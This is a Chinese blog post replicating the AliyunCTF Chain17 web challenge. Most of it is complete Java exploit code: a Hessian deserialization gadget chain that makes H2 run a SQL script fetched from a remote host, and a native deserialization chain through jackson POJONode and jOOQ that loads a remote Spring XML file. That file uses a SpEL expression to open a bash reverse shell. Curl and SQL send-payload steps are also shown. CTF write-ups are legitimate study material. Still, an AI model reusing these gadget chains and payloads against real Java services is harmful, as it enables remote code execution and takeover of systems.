AliyunCTF-web-Chain17复现

老实说,这道题有点小折磨,尤其是对我这个java反序列化才入门的菜鸡来说。

这里基本上就是跟着官方wp走了,写的也很详细。

而且也记录了开java17加JVM参数使java.lang包能反射的操作,idea中找到VM options选项_idea vm options-CSDN博客

总之,收获真的丰富。

 

这次倒叙一手吧。

总的来说,这道题其实算打了两个java的反序列化,一个是打入agent,然后在agent的基础上打入server。

而且agent的shell里没有curl,所以官方用的方法是把打反序列化传参放到sql文件里一并传上agent,然后让agent去访问server的/read。

因为把全部反序列化链子写到命令里显得冗长还报错,我也懒得开工具抓包发包,就把打agent的poc放到了1.txt里,然后找gpt要了个curl命令搞定:

curl -X POST -H "Content-Type: text/plain" --data-binary "@1.txt" http://web1.aliyunctf.com:5000/read

审计没什么好说的,agent 端提供了一个 hessian 反序列化的入口, 和一个 getter 可以二次反序列化的 Bean 类作为 gadget, 同时启动选项里开放了 atomic 模块。

agent依赖:

server依赖:

这里本来也不是很熟hessian的链子,本来我去找了找,但是硬审真的很让人犯困😴干脆就边打边看了。

agent里面还有个黑名单:

ban了常见的一些反序列化gadget类。

 

 

agent用的是如下 hessian 反序列化链触发 H2 SQL 执行:

JSONObject.put -> AtomicReference.toString 
-> POJONode.toString
-> Bean.getObject
-> DSFactory.getDataSource
-> Driver.connect

PocAgent:

package com.eddiemurphy;

import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.misc.Unsafe;

import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.util.Base64;
import java.util.concurrent.atomic.AtomicReference;

// JDK17 VM options:
// --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
public class PocAgent {

    public static void main(String[] args) throws Exception {
        gen("runscript from 'http://vps:4444/poc.sql'");
    }

    public static void gen(String sql) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);

        hessian2Output.writeMapBegin(JSONObject.class.getName());
        hessian2Output.writeObject("whatever");

        String url = String.format("jdbc:h2:mem:test;init=%s", sql);

        Setting setting = new Setting();
        setting.put("url", url);
        setting.put("initialSize", "1");
        setting.setCharset(null);

        Unsafe unsafe = (Unsafe) ReflectUtil.getFieldValue(null, ReflectUtil.getField(Unsafe.class, "theUnsafe"));

        PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);

        ReflectUtil.setFieldValue(pooledDSFactory, "dataSourceName", PooledDSFactory.DS_NAME);
        ReflectUtil.setFieldValue(pooledDSFactory, "setting", setting);
        ReflectUtil.setFieldValue(pooledDSFactory, "dsMap", new SafeConcurrentHashMap<>());

        Bean bean = new Bean();
        bean.setData(SerializeUtil.serialize(pooledDSFactory));

        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(ctMethod);
        ctClass.toClass();

        POJONode pojoNode = new POJONode(bean);

        Object object = new AtomicReference<>(pojoNode);

        hessian2Output.writeObject(object);
        hessian2Output.writeMapEnd();
        hessian2Output.close();

        byte[] data = byteArrayOutputStream.toByteArray();

        System.out.println(Base64.getEncoder().encodeToString(data));
    }
}

注意加JVM参数。这里就是用vps上poc.sql文件打agent,官方加了一个发包解决了shell里没有curl的问题。

create alias send as 'int send(String url, String poc) throws java.lang.Exception { java.net.http.HttpRequest request = java.net.http.HttpRequest.newBuilder().uri(new java.net.URI(url)).headers("Content-Type", "application/octet-stream").version(java.net.http.HttpClient.Version.HTTP_1_1).POST(java.net.http.HttpRequest.BodyPublishers.ofString(poc)).build(); java.net.http.HttpClient httpClient = java.net.http.HttpClient.newHttpClient(); httpClient.send(request, java.net.http.HttpResponse.BodyHandlers.ofString()); return 0;}';
call send('http://server:8080/read', '<这里填打 server 的 base64 payload>')

 

 

 

server用的是如下原生反序列化链触发 SpEL 表达式执行:

EventListenerList.readObject -> POJONode.toString 
-> ConvertedVal.getValue
-> ClassPathXmlApplicationContext.<init>

PocServer:

package com.eddiemurphy;

import cn.hutool.core.io.FileUtil;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.jooq.DataType;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.File;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.Vector;

// JDK17 VM options:
// --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED
public class PocServer {

    public static void main(String[] args) throws Exception {
        gen("http://vps:4444/poc.xml");
    }

    public static void gen(String url) throws Exception{
        Class clazz1 = Class.forName("org.jooq.impl.Dual");
        Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
        constructor1.setAccessible(true);
        Object table = constructor1.newInstance();

        Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
        Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
        constructor2.setAccessible(true);
        Object tableDataType = constructor2.newInstance(table);

        Class clazz3 = Class.forName("org.jooq.impl.Val");
        Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
        constructor3.setAccessible(true);
        Object val = constructor3.newInstance("whatever", tableDataType, false);

        Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
        Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
        constructor4.setAccessible(true);
        Object convertedVal = constructor4.newInstance(val, tableDataType);

        Object value = url;
        Class type = ClassPathXmlApplicationContext.class;

        ReflectUtil.setFieldValue(val, "value", value);
        ReflectUtil.setFieldValue(tableDataType, "uType", type);

        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(ctMethod);
        ctClass.toClass();

        POJONode pojoNode = new POJONode(convertedVal);

        EventListenerList eventListenerList = new EventListenerList();
        UndoManager undoManager = new UndoManager();
        Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits");
        vector.add(pojoNode);
        ReflectUtil.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

        byte[] data = SerializeUtil.serialize(eventListenerList);

        System.out.println(Base64.getEncoder().encodeToString(data));
    }

}

这里还要放个poc.xml来RCE:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="evil" class="java.lang.String">
        <constructor-arg value="#{T(Runtime).getRuntime().exec('bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}')}"/>
    </bean>
</beans>

原理明白后,就一把梭了:

 

参考:

第二届AliyunCTF官方writeup - 先知社区

chain17 - Zer0peach can't think

 

posted @ 2024-05-09 18:47  Eddie_Murphy  阅读(61)  评论(0编辑  收藏  举报